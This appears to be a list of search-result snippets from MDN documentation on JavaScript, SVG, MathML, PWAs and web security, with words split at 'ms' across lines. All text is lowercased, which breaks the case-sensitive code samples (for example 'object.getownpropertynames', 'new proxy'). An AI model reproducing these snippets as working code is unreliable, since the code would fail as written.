ms on the prototype chain are not listed: function parentclass() {} parentclass.prototype.inheritedmethod = function() {}; function childclass() { this.prop = 5; this.method = function() {}; } childclass.prototype = new parentclass; childclass.prototype.prototypemethod = function() {}; console.log( object.getownpropertynames( new childclass() // ["prop", "method"] ) ); get non-enume...
Object.prototype.hasOwnProperty() - JavaScript
note that the for...in loop is already only iterating enumerable ite
ms, so one should not assume based on the lack of non-enumerable properties shown in the loop that hasownproperty itself is confined strictly to enumerable ite
ms (as with object.getownpropertynames()).
Object.values() - JavaScript
polyfill to add compatible object.values support in older environments that do not natively support it, you can find a polyfill in the tc39/proposal-object-values-entries or in the es-shi
ms/object.values repositories.
Proxy - JavaScript
let validator = { set: function(obj, prop, value) { if (prop === 'age') { if (!number.isinteger(value)) { throw new typeerror('the age is not an integer'); } if (value > 200) { throw new rangeerror('the age see
ms invalid'); } } // the default behavior to store the value obj[prop] = value; // indicate success return true; } }; const person = new proxy({}, validator); person.age = 100; console.log(person.age); // 100 person.age = 'young'; // throws an exception person.age = 300; // throws an exception extending constructor a function proxy could easily extend a c...
RegExp.prototype[@@split]() - JavaScript
the [@@split]() method still splits on every match of this regexp pattern (or, in the syntax above, regexp), until the number of split ite
ms match the limit or the string falls short of this pattern.
Planned changes to shared memory - JavaScript
for top-level documents, two headers will need to be set: cross-origin-opener-policy with same-origin as value (protects your origin from attackers) cross-origin-embedder-policy with require-corp as value (protects victi
ms from your origin) with these two headers set, postmessage() will no longer throw for sharedarraybuffer objects and shared memory across threads is therefore available.
SharedArrayBuffer - JavaScript
for top-level documents, two headers will need to be set to cross-origin isolate your site: cross-origin-opener-policy with same-origin as value (protects your origin from attackers) cross-origin-embedder-policy with require-corp as value (protects victi
ms from your origin) cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp to check if cross origin isolation has been successful, you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer } else { // do something else } see also planned changes to shared memory which is s...
String.prototype.charAt() - JavaScript
to 0xdb7f to treat high private surrogates // as single characters) if (0xd800 > prev || prev > 0xdbff) { throw 'low surrogate without preceding high surrogate' } // return the next character instead (and increment) return [str.charat(i + 1), i + 1] } fixing charat() to support non-basic-multilingual-plane (bmp) characters while the previous example may be more useful for progra
ms that must support non-bmp characters (since it does not require the caller to know where any non-bmp character might appear), in the event that one does wish, in choosing a character by index, to treat the surrogate pairs within a string as the single characters they represent, one can use the following: function fixedcharat(str, idx) { let ret = '' str += '' let end = str.length let su...
String.prototype.localeCompare() - JavaScript
let ite
ms = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu']; ite
ms.sort( (a, b) => a.localecompare(b, 'fr', {ignorepunctuation: true})); // ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé'] check browser support for extended arguments the locales and options arguments are not supported in all browsers yet.
Symbol.asyncIterator - JavaScript
however, whatwg strea
ms are set to be the first built-in object to be async iterable, with [symbol.asynciterator] recently landing in the spec.
Symbol - JavaScript
to create symbols available across files and even across real
ms (each of which has its own global scope), use the methods symbol.for() and symbol.keyfor() to set and retrieve symbols from the global symbol registry.
WeakRef - JavaScript
different javascript engines may do these things differently, or the same engine may change its algorith
ms across versions.
WeakSet - JavaScript
use case: detecting circular references functions that call the
mselves recursively need a way of guarding against circular data structures by tracking which objects have already been processed.
encodeURIComponent() - JavaScript
surrogate which is not part of a high-low pair, e.g., // high-low pair ok console.log(encodeuricomponent('\ud800\udfff')); // lone high surrogate throws "urierror: malformed uri sequence" console.log(encodeuricomponent('\ud800')); // lone low surrogate throws "urierror: malformed uri sequence" console.log(encodeuricomponent('\udfff')); use encodeuricomponent() on user-entered fields from for
ms post'd to the server.
eval() - JavaScript
in a related circu
mstance, what if you actually wanted your date() function to be able to be called from the code inside function().
null - JavaScript
it is not defined and has never been initialized: foo; //referenceerror: foo is not defined // foo is known to exist now but it has no type or value: var foo = null; foo; //null examples difference between null and undefined when checking for null or undefined, beware of the differences between equality (==) and identity (===) operators, as the former perfor
ms type-conversion.
new.target - JavaScript
extends a { constructor() { super() } } let a = new a() // logs "a" let b = new b() // logs "b" class c { constructor() { console.log(new.target) } } class d extends c { constructor() { super() } } let c = new c() // logs class c{constructor(){console.log(new.target);}} let d = new d() // logs class d extends c{constructor(){super();}} thus from the above example of class c and d, it see
ms that new.target points to the class definition of class which is initialized.
const - JavaScript
my_object = {'other_key': 'value'}; // however, object keys are not protected, // so the following statement is executed without problem my_object.key = 'othervalue'; // use object.freeze() to make object immutable // the same applies to arrays const my_array = []; // it's possible to push ite
ms into the array my_array.push('a'); // ["a"] // however, assigning a new array to the variable throws an error // uncaught typeerror: assignment to constant variable.
export - JavaScript
the export statement is used when creating javascript modules to export live bindings to functions, objects, or primitive values from the module so they can be used by other progra
ms with the import statement.
for...of - JavaScript
t to examine all of the parameters passed into a javascript function: (function() { for (const argument of arguments) { console.log(argument); } })(1, 2, 3); // 1 // 2 // 3 iterating over a dom collection iterating over dom collections like nodelist: the following example adds a read class to paragraphs that are direct descendants of an article: // note: this will only work in platfor
ms that have // implemented nodelist.prototype[symbol.iterator] const articleparagraphs = document.queryselectorall('article > p'); for (const paragraph of articleparagraphs) { paragraph.classlist.add('read'); } closing iterators in for...of loops, abrupt iteration termination can be caused by break, throw or return.
for - JavaScript
it checks that i is less than nine, perfor
ms the two succeeding statements, and increments i by 1 after each pass through the loop.
import.meta - JavaScript
for example, with the following html: <script type="module"> import './index.mjs?someurlinfo=5'; </script> ..the following javascript file will log the `someurlinfo parameter: // index.mjs new url(import.meta.url).searchpara
ms.get('someurlinfo'); // 5 the same applies when a file imports another: // index.mjs import './index2.mjs?someurlinfo=5'; // index2.mjs new url(import.meta.url).searchpara
ms.get('someurlinfo'); // 5 note that while node.js will pass on query parameters (or the hash) as in the latter example, as of node 14.1.0, a url with query parameters will err when loading in the form node --experimental-mo...
let - JavaScript
console.log(x); // 2 } console.log(x); // 2 } function lettest() { let x = 1; { let x = 2; // different variable console.log(x); // 2 } console.log(x); // 1 } at the top level of progra
ms and functions, let, unlike var, does not create a property on the global object.
try...catch - JavaScript
this gives us three for
ms for the try statement: try...catch try...finally try...catch...finally a catch-block contains statements that specify what to do if an exception is thrown in the try-block.
var - JavaScript
the corresponding name is also added to a list on the internal [[varnames]] slot on the global environment record (which for
ms part of the global lexical environment).
description - Web app manifests
examples simple description in left-to-right language: "description": "awesome application that will help you achieve your drea
ms." description in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "description": ".تطبيق رائع سيساعدك على تحقيق أحلامك" specification specification status comment feedback web app manifestthe definition of 'description' in that specification.
<mn> - MathML
that is, although the names suggest the typographic style for the class, semantically, ite
ms with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography.
<mo> - MathML
that is, although the names suggest the typographic style for the class, semantically, ite
ms with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography.
<mrow> - MathML
it simplifies the interpretation of the expression by automated syste
ms such as computer algebra syste
ms and audio renderers.
<mtext> - MathML
that is, although the names suggest the typographic style for the class, semantically, ite
ms with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography.
MathML
getting help from the community view mozilla foru
ms...
Optimizing startup performance - Web Performance
e
mscripten provides an api to help with this refactoring; for example, you can use e
mscripten_push_main_loop_blocker() to establish a function to be executed before the main thread is allowed to continue.
How to make PWAs installable - Progressive web apps (PWAs)
installable, it needs the following things in place: a web manifest, with the correct fields filled in the web site to be served from a secure (https) domain an icon to represent the app on the device a service worker registered, to allow the app to work offline (this is required only by chrome for android currently) currently, only the chromium-based browsers such as chrome, edge, and sa
msung internet require the service worker.
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
e user requests it by clicking on a button: var button = document.getelementbyid("notifications"); button.addeventlistener('click', function(e) { notification.requestpermission().then(function(result) { if(result === 'granted') { randomnotification(); } }); }); this shows a popup using the operating system’s own notifications service: when the user confir
ms to receive notifications, the app can then show them.
font-variant - SVG: Scalable Vector Graphics
"0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-variant="normal">normal text</text> <text x="100" y="20" font-variant="small-caps">small-caps text</text> </svg> usage notes value normal | none | [ <common-lig-values> || <discretionary-lig-values> || <historical-lig-values> || <contextual-alt-values> || stylistic( <feature-value-name> ) || historical-for
ms || styleset( <feature-value-name># ) || character-variant( <feature-value-name># ) || swash( <feature-value-name> ) || ornaments( <feature-value-name> ) || annotation( <feature-value-name> ) || [ small-caps | all-small-caps | petite-caps | all-petite-caps | unicase | titling-caps ] || <numeric-figure-values> || <numeric-spacing-values> || <numeric-fraction-values> || ordinal || slashed-zero || <e...
paint-order - SVG: Scalable Vector Graphics
example <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <lineargradient id="g" x1="0" y1="0" x2="0" y2="1"> <stop stop-color="#888"/> <stop stop-color="#ccc" offset="1"/> </lineargradient> <rect width="400" height="200" fill="url(#g)"/> <g fill="cri
mson" stroke="white" stroke-width="6" stroke-linejoin="round" text-anchor="middle" font-family="sans-serif" font-size="50px" font-weight="bold"> <text x="200" y="75">stroke over</text> <text x="200" y="150" paint-order="stroke" id="stroke-under">stroke under</text> </g> </svg> the example would be rendered as follows: the stroke under effect could be achieved via the following css...
requiredFeatures - SVG: Scalable Vector Graphics
olyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <use> html, body, svg { height: 100%; } text { fill: white; } <svg viewbox="0 0 250 45" xmlns="http://www.w3.org/2000/svg"> <g> <rect fill="forestgreen" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures supported</text> </g> <g requiredfeatures=""> <rect fill="cri
mson" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures not supported</text> </g> </svg> usage notes value <list-of-features> default value true if not defined, false if null or empty string as value animatable no <list-of-features> this is a list of feature strings, separated using white space.
spacing - SVG: Scalable Vector Graphics
only one element is using this attribute: <textpath> usage notes value auto | exact default value exact animatable yes auto this value indicates that the user agent should use text-on-a-path layout algorith
ms to adjust the spacing between typographic characters in order to achieve visually appealing results.
Compatibility sources - SVG: Scalable Vector Graphics
bles on svg elements and attributes: https://developer.mozilla.org/en/svg_in_firefox together with its revision history for firefox http://www.webkit.org/projects/svg/status.xml together with its recorded archive for webkit, safari and chrome http://www.opera.com/docs/specs/opera9/svg/ and accompanying pages for opera >= 9, http://www.opera.com/docs/specs/opera8/ for opera 8 http://blogs.
msdn.com/b/ie/archive/2010/03/18/svg-in-ie9-roadmap.aspx for hints on ie9 support status the svg support charts at codedread.com for basic checks against the w3c test suite wikipedia for basic hints, not normative ...
<feColorMatrix> - SVG: Scalable Vector Graphics
| r' | | r1 r2 r3 r4 r5 | | r | | g' | | g1 g2 g3 g4 g5 | | g | | b' | = | b1 b2 b3 b4 b5 | * | b | | a' | | a1 a2 a3 a4 a5 | | a | | 1 | | 0 0 0 0 1 | | 1 | in simplified ter
ms, below is how each color channel in the new pixel is calculated.
<feComposite> - SVG: Scalable Vector Graphics
the <fecomposite> svg filter primitive perfor
ms the combination of two input images pixel-wise in image space using one of the porter-duff compositing operations: over, in, atop, out, xor, and lighter.
<textPath> - SVG: Scalable Vector Graphics
value type: <url> ; default value: none; animatable: yes lengthadjust where length adjustment should be applied to the text: the space between glyphs, or both the space and the glyphs the
mselves.
Fills and Strokes - SVG: Scalable Vector Graphics
there are additional stroke and fill properties available, including fill-rule, which specifies how to color in shapes that overlap the
mselves; stroke-miterlimit, which determines if a stroke should draw miters; and stroke-dashoffset, which specifies where to start a dasharray on a line.
Gradients in SVG - SVG: Scalable Vector Graphics
the radialgradient above would be rewritten: <radialgradient id="gradient" cx="60" cy="60" r="50" fx="35" fy="35" gradientunits="userspaceonuse"> you can also then apply another transformation to the gradient by using the gradienttransform attribute, but since we haven't introduced transfor
ms yet, i'll leave that for later.
SVG In HTML Introduction - SVG: Scalable Vector Graphics
(another style rule makes an error message appear.) this approach has the following points in its favor: we have taken a regular html form that could have been part of an existing web site, and added an attractive, interactive background the approach is backwards compatible to browsers that do not support svg; simply, no background appears in them it's very simple and perfor
ms very well the picture dynamically sizes itself to the required size in an intelligent way we can have declarative style rules applying to both html and svg the same script manipulates both html and svg the document is entirely standards-based to add a linked image with dom methods to an embedded svg element, one has to use setattributens to set href.
Certificate Transparency - Web security
this can be accomplished via a number of different mechanis
ms: x.509v3 certificate extension which embeds signed certificate timestamps directly into the leaf certificate a tls extension of type signed_certificate_timestamp sent during the handshake ocsp stapling (that is, the status_request tls extension) and providing a signedcertificatetimestamplist with one or more scts with the x.509 certificate extension, the included scts are decided by the is...
Insecure passwords - Web security
serving login for
ms over http is especially dangerous because of the wide variety of attacks that can be used against them to extract a user’s password.
Mixed content - Web security
passive content list this section lists all types of http requests which are considered passive content: <img> (src attribute) <audio> (src attribute) <video> (src attribute) <object> subresources (when an <object> perfor
ms http requests) mixed active content mixed active content is content that has access to all or parts of the document object model of the https page.
Same-origin policy - Web security
(a "tuple" is a set of ite
ms that together comprise a whole — a generic form for double/triple/quadruple/quintuple/etc.) the following table gives examples of origin comparisons with the url http://store.company.com/dir/page.html: url outcome reason http://store.company.com/dir2/other.html same origin only the path differs http://store.company.com/dir/inner/another.html same orig...
HTML Imports - Web Components
until there is a consensus on the standard or alternative mechanis
ms are worked out, you can use a polyfill such as google's webcomponents.js.
Web Components
web components ai
ms to solve such proble
ms — it consists of three main technologies, which can be used together to create versatile custom elements with encapsulated functionality that can be reused wherever you like without fear of code collisions.